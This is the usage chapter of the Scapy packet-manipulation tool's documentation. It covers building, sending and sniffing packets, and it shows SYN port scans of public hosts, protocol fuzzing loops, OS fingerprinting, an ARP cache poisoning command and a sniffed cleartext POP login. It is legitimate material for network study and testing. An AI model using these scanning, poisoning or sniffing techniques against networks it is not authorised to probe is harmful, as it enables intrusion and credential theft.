1*****
2Usage
3*****
4
5Starting Scapy
6==============
7
8Scapy's interactive shell is run in a terminal session. Root privileges are needed to
9send the packets, so we're using ``sudo`` here::
10
11    $ sudo scapy
12    Welcome to Scapy (2.0.1-dev)
13    >>>
14
15On Windows, please open a command prompt (``cmd.exe``) and make sure that you have
16administrator privileges::
17
18    C:\>scapy
19    INFO: No IPv6 support in kernel
20    WARNING: No route found for IPv6 destination :: (no default route?)
21    Welcome to Scapy (2.0.1-dev)
22    >>>
23
24If you do not have all optional packages installed, Scapy will inform you that
25some features will not be available::
26
27    INFO: Can't import python gnuplot wrapper . Won't be able to plot.
28    INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
29
30The basic features of sending and receiving packets should still work, though.
31
32Screenshot
33----------
34
35If you have installed IPython, scapy will hook to it and you will be able to use auto-completion using the TAB.
36
37.. image:: graphics/scapy-main-console.png
38   :align: center
39
40
41Interactive tutorial
42====================
43
44This section will show you several of Scapy's features.
45Just open a Scapy session as shown above and try the examples yourself.
46
47
48First steps
49-----------
50
51Let's build a packet and play with it::
52
53    >>> a=IP(ttl=10)
54    >>> a
55    < IP ttl=10 |>
56    >>> a.src
57    ’127.0.0.1’
58    >>> a.dst="192.168.1.1"
59    >>> a
60    < IP ttl=10 dst=192.168.1.1 |>
61    >>> a.src
62    ’192.168.8.14’
63    >>> del(a.ttl)
64    >>> a
65    < IP dst=192.168.1.1 |>
66    >>> a.ttl
67    64
68
69Stacking layers
70---------------
71
72The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer.
73
74::
75
76    >>> IP()
77    <IP |>
78    >>> IP()/TCP()
79    <IP frag=0 proto=TCP |<TCP |>>
80    >>> Ether()/IP()/TCP()
81    <Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
82    >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
83    <IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
84    >>> Ether()/IP()/IP()/UDP()
85    <Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
86    >>> IP(proto=55)/TCP()
87    <IP frag=0 proto=55 |<TCP |>>
88
89
90.. image:: graphics/fieldsmanagement.png
91   :scale: 90
92
93Each packet can be build or dissected (note: in Python ``_`` (underscore) is the latest result)::
94
95    >>> raw(IP())
96    'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
97    >>> IP(_)
98    <IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
99     chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
100    >>>  a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
101    >>>  hexdump(a)
102    00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.
103    00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C....@.x<....B#
104    FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .....P........P.
105    20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index
106    2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .
107    0A                                               .
108    >>> b=raw(a)
109    >>> b
110    '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
111     \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
112     \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
113    >>> c=Ether(b)
114    >>> c
115    <Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
116     ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
117     src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
118     ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
119     options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
120
121We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default::
122
123    >>> c.hide_defaults()
124    >>> c
125    <Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
126     frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
127     chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
128
129Reading PCAP files
130------------------
131
132.. index::
133   single: rdpcap()
134
135You can read packets from a pcap file and write them to a pcap file.
136
137    >>> a=rdpcap("/spare/captures/isakmp.cap")
138    >>> a
139    <isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>
140
141Graphical dumps (PDF, PS)
142-------------------------
143
144.. index::
145   single: pdfdump(), psdump()
146
147If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...)::
148
149    >>> a[423].pdfdump(layer_shift=1)
150    >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)
151
152.. image:: graphics/isakmp_dump.png
153
154
155
156=======================   ====================================================
157Command                   Effect
158=======================   ====================================================
159raw(pkt)                  assemble the packet
160hexdump(pkt)              have an hexadecimal dump
161ls(pkt)                   have the list of fields values
162pkt.summary()             for a one-line summary
163pkt.show()                for a developed view of the packet
164pkt.show2()               same as show but on the assembled packet (checksum is calculated, for instance)
165pkt.sprintf()             fills a format string with fields values of the packet
166pkt.decode_payload_as()   changes the way the payload is decoded
167pkt.psdump()              draws a PostScript diagram with explained dissection
168pkt.pdfdump()             draws a PDF with explained dissection
169pkt.command()             return a Scapy command that can generate the packet
170=======================   ====================================================
171
172
173
174Generating sets of packets
175--------------------------
176
177For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly define a set of packets, generated using a kind of cartesian product between all the fields.
178
179::
180
181    >>> a=IP(dst="www.slashdot.org/30")
182    >>> a
183    <IP  dst=Net('www.slashdot.org/30') |>
184    >>> [p for p in a]
185    [<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
186     <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
187    >>> b=IP(ttl=[1,2,(5,9)])
188    >>> b
189    <IP ttl=[1, 2, (5, 9)] |>
190    >>> [p for p in b]
191    [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
192     <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
193    >>> c=TCP(dport=[80,443])
194    >>> [p for p in a/c]
195    [<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
196     <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
197     <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
198     <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
199     <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
200     <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
201     <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
202     <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]
203
204Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.
205
206===============  ====================================================
207Command          Effect
208===============  ====================================================
209summary()        displays a list of summaries of each packet
210nsummary()       same as previous, with the packet number
211conversations()  displays a graph of conversations
212show()           displays the preferred representation (usually nsummary())
213filter()         returns a packet list filtered with a lambda function
214hexdump()        returns a hexdump of all packets
215hexraw()         returns a hexdump of the Raw layer of all packets
216padding()        returns a hexdump of packets with padding
217nzpadding()      returns a hexdump of packets with non-zero padding
218plot()           plots a lambda function applied to the packet list
219make table()     displays a table according to a lambda function
220===============  ====================================================
221
222
223
224Sending packets
225---------------
226
227.. index::
228   single: Sending packets, send
229
230Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter.
231
232::
233
234    >>> send(IP(dst="1.2.3.4")/ICMP())
235    .
236    Sent 1 packets.
237    >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
238    ....
239    Sent 4 packets.
240    >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
241    ................^C
242    Sent 16 packets.
243    >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
244    ...........
245    Sent 11 packets.
246
247    Returns packets sent by send()
248    >>> send(IP(dst='127.0.0.1'), return_packets=True)
249    .
250    Sent 1 packets.
251    <PacketList: TCP:0 UDP:0 ICMP:0 Other:1>
252
253
254Fuzzing
255-------
256
257.. index::
258   single: fuzz(), fuzzing
259
260The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quickly built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized. Note: If you use fuzz() in IP layer, src and dst parameter won't be random so in order to do that use RandIP().::
261
262    >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
263    ................^C
264    Sent 16 packets.
265
266
267Send and receive packets (sr)
268-----------------------------
269
270.. index::
271   single: sr()
272
273Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). If there is, no response a None value will be assigned instead when the timeout is reached.
274
275::
276
277    >>> p = sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
278    Begin emission:
279    ...Finished to send 1 packets.
280    .*
281    Received 5 packets, got 1 answers, remaining 0 packets
282    >>> p
283    <IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
284     chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
285     code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
286     |<Padding load='\x00\x00\x00\x00' |>>>>
287    >>> p.show()
288    ---[ IP ]---
289    version   = 4L
290    ihl       = 5L
291    tos       = 0x0
292    len       = 39
293    id        = 15489
294    flags     =
295    frag      = 0L
296    ttl       = 42
297    proto     = ICMP
298    chksum    = 0x51dd
299    src       = 66.35.250.151
300    dst       = 192.168.5.21
301    options   = ''
302    ---[ ICMP ]---
303       type      = echo-reply
304       code      = 0
305       chksum    = 0xee45
306       id        = 0x0
307       seq       = 0x0
308    ---[ Raw ]---
309          load      = 'XXXXXXXXXXX'
310    ---[ Padding ]---
311             load      = '\x00\x00\x00\x00'
312
313
314.. index::
315   single: DNS, Etherleak
316
317A DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw::
318
319    >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
320    Begin emission:
321    Finished to send 1 packets.
322    ..*
323    Received 3 packets, got 1 answers, remaining 0 packets
324    <IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
325     src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
326     |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
327     nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
328     an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
329     ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>
330
331The "send'n'receive" functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions::
332
333    >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
334    Received 6 packets, got 3 answers, remaining 0 packets
335    (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
336    >>> ans, unans = _
337    >>> ans.summary()
338    IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
339    IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
340    IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding
341
342If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent::
343
344    >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
345    Begin emission:
346    Finished to send 12 packets.
347    Begin emission:
348    Finished to send 9 packets.
349    Begin emission:
350    Finished to send 9 packets.
351
352    Received 100 packets, got 3 answers, remaining 9 packets
353    (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)
354
355
356SYN Scans
357---------
358
359.. index::
360   single: SYN Scan
361
362Classic SYN Scan can be initialized by executing the following command from Scapy's prompt::
363
364    >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
365
366The above will send a single SYN packet to Google's port 80 and will quit after receiving a single response::
367
368    Begin emission:
369    .Finished to send 1 packets.
370    *
371    Received 2 packets, got 1 answers, remaining 0 packets
372    <IP  version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
373    proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
374    <TCP  sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
375    flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
376    <Padding  load='V\xf7' |>>>
377
378From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.
379
380Use either notations to scan ports 400 through 443 on the system:
381
382    >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))
383
384or
385
386    >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
387
388In order to quickly review responses simply request a summary of collected packets::
389
390    >>> ans, unans = _
391    >>> ans.summary()
392    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
393    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
394    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
395    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding
396
397The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:
398
399    >>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
400    440      RA
401    441      RA
402    442      RA
403    https    SA
404
405Even better, a table can be built using the ``make_table()`` function to display information about multiple targets::
406
407    >>> ans, unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
408    Begin emission:
409    .......*.**.......Finished to send 9 packets.
410    **.*.*..*..................
411    Received 362 packets, got 8 answers, remaining 1 packets
412    >>> ans.make_table(
413    ...    lambda(s,r): (s.dst, s.dport,
414    ...    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
415        66.35.250.150                192.168.1.1 216.109.112.135
416    22  66.35.250.150 - dest-unreach RA          -
417    80  SA                           RA          SA
418    443 SA                           SA          SA
419
420The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.
421
422For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set::
423
424    >>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
425    0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA
426
427In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open::
428
429    >>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
430    https is open
431
432Again, for larger scans we can build a table of open ports::
433
434    >>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
435    ...             (s.dst, s.dport, "X"))
436        66.35.250.150 192.168.1.1 216.109.112.135
437    80  X             -           X
438    443 X             X           X
439
440If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results::
441
442    >>> report_ports("192.168.1.1",(440,443))
443    Begin emission:
444    ...*.**Finished to send 4 packets.
445    *
446    Received 8 packets, got 4 answers, remaining 0 packets
447    '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
448     & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
449    TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'
450
451
452TCP traceroute
453--------------
454
455.. index::
456   single: Traceroute
457
458A TCP traceroute::
459
460    >>> ans, unans = sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
461    *****.******.*.***..*.**Finished to send 22 packets.
462    ***......
463    Received 33 packets, got 21 answers, remaining 1 packets
464    >>> for snd,rcv in ans:
465    ...     print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
466    ...
467    5 194.51.159.65 0
468    6 194.51.159.49 0
469    4 194.250.107.181 0
470    7 193.251.126.34 0
471    8 193.251.126.154 0
472    9 193.251.241.89 0
473    10 193.251.241.110 0
474    11 193.251.241.173 0
475    13 208.172.251.165 0
476    12 193.251.241.173 0
477    14 208.172.251.165 0
478    15 206.24.226.99 0
479    16 206.24.238.34 0
480    17 173.109.66.90 0
481    18 173.109.88.218 0
482    19 173.29.39.101 1
483    20 173.29.39.101 1
484    21 173.29.39.101 1
485    22 173.29.39.101 1
486    23 173.29.39.101 1
487    24 173.29.39.101 1
488
489Note that the TCP traceroute and some other high-level functions are already coded::
490
491    >>> lsc()
492    sr               : Send and receive packets at layer 3
493    sr1              : Send packets at layer 3 and return only the first answer
494    srp              : Send and receive packets at layer 2
495    srp1             : Send and receive packets at layer 2 and return only the first answer
496    srloop           : Send a packet at layer 3 in loop and print the answer each time
497    srploop          : Send a packet at layer 2 in loop and print the answer each time
498    sniff            : Sniff packets
499    p0f              : Passive OS fingerprinting: which OS emitted this TCP SYN ?
500    arpcachepoison   : Poison target's cache with (your MAC,victim's IP) couple
501    send             : Send packets at layer 3
502    sendp            : Send packets at layer 2
503    traceroute       : Instant TCP traceroute
504    arping           : Send ARP who-has requests to determine which hosts are up
505    ls               : List  available layers, or infos on a given layer
506    lsc              : List user commands
507    queso            : Queso OS fingerprinting
508    nmap_fp          : nmap fingerprinting
509    report_ports     : portscan a target and output a LaTeX table
510    dyndns_add       : Send a DNS add message to a nameserver for "name" to have a new "rdata"
511    dyndns_del       : Send a DNS delete message to a nameserver for "name"
512    [...]
513
514Configuring super sockets
515-------------------------
516
517.. index::
518   single: super socket
519
520The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don't guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I've just added a super socket which use libdnet and libpcap, so that it should be portable::
521
522    >>> conf.L3socket=L3dnetSocket
523    >>> conf.L3listen=L3pcapListenSocket
524
525Sniffing
526--------
527
528.. index::
529   single: sniff()
530
531We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on every interface::
532
533    >>>  sniff(filter="icmp and host 66.35.250.151", count=2)
534    <Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
535    >>>  a=_
536    >>>  a.nsummary()
537    0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
538    0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
539    >>>  a[1]
540    <Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
541     ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
542     src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
543     chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
544     \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
545     \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
546    >>> sniff(iface="wifi0", prn=lambda x: x.summary())
547    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
548    802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
549    802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
550    802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
551    802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
552    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
553    802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
554    802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
555    802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
556    802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
557    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
558    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
559    802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
560    802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
561    802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
562    802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
563    >>> sniff(iface="eth1", prn=lambda x: x.show())
564    ---[ Ethernet ]---
565    dst       = 00:ae:f3:52:aa:d1
566    src       = 00:02:15:37:a2:44
567    type      = 0x800
568    ---[ IP ]---
569       version   = 4L
570       ihl       = 5L
571       tos       = 0x0
572       len       = 84
573       id        = 0
574       flags     = DF
575       frag      = 0L
576       ttl       = 64
577       proto     = ICMP
578       chksum    = 0x3831
579       src       = 192.168.5.21
580       dst       = 66.35.250.151
581       options   = ''
582    ---[ ICMP ]---
583          type      = echo-request
584          code      = 0
585          chksum    = 0x89d9
586          id        = 0xc245
587          seq       = 0x0
588    ---[ Raw ]---
589             load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
590    ---[ Ethernet ]---
591    dst       = 00:02:15:37:a2:44
592    src       = 00:ae:f3:52:aa:d1
593    type      = 0x800
594    ---[ IP ]---
595       version   = 4L
596       ihl       = 5L
597       tos       = 0x0
598       len       = 84
599       id        = 2070
600       flags     =
601       frag      = 0L
602       ttl       = 42
603       proto     = ICMP
604       chksum    = 0x861b
605       src       = 66.35.250.151
606       dst       = 192.168.5.21
607       options   = ''
608    ---[ ICMP ]---
609          type      = echo-reply
610          code      = 0
611          chksum    = 0x91d9
612          id        = 0xc245
613          seq       = 0x0
614    ---[ Raw ]---
615             load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
616    ---[ Padding ]---
617                load      = '\n_\x00\x0b'
618    >>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary())
619    eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw
620    eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw
621    eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw
622    eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw
623
624For even more control over displayed information we can use the ``sprintf()`` function::
625
626    >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
627    192.168.1.100 -> 64.233.167.99
628
629    64.233.167.99 -> 192.168.1.100
630
631    192.168.1.100 -> 64.233.167.99
632
633    192.168.1.100 -> 64.233.167.99
634    'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
635    (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
636    Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
637    text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
638    en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
639    ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
640    keep-alive\r\nCache-Control: max-age=0\r\n\r\n'
641
642We can sniff and do passive OS fingerprinting::
643
644    >>> p
645    <Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
646     ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
647     src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
648     seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
649     chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
650     ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
651    >>> load_module("p0f")
652    >>> p0f(p)
653    (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
654    >>> a=sniff(prn=prnp0f)
655    (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
656    (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
657    (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
658    (1.0, ['Windows 2000 (9)'])
659
660The number before the OS guess is the accuracy of the guess.
661
662Filters
663-------
664
665.. index::
666   single: filter, sprintf()
667
668Demo of both bpf filter and sprintf() method::
669
670    >>> a=sniff(filter="tcp and ( port 25 or port 110 )",
671     prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%"))
672    192.168.8.10:47226 -> 213.228.0.14:110   S :
673    213.228.0.14:110 -> 192.168.8.10:47226  SA :
674    192.168.8.10:47226 -> 213.228.0.14:110   A :
675    213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK <13103.1048117923@pop2-1.free.fr>
676
677    192.168.8.10:47226 -> 213.228.0.14:110   A :
678    192.168.8.10:47226 -> 213.228.0.14:110  PA : USER toto
679
680    213.228.0.14:110 -> 192.168.8.10:47226   A :
681    213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK
682
683    192.168.8.10:47226 -> 213.228.0.14:110   A :
684    192.168.8.10:47226 -> 213.228.0.14:110  PA : PASS tata
685
686    213.228.0.14:110 -> 192.168.8.10:47226  PA : -ERR authorization failed
687
688    192.168.8.10:47226 -> 213.228.0.14:110   A :
689    213.228.0.14:110 -> 192.168.8.10:47226  FA :
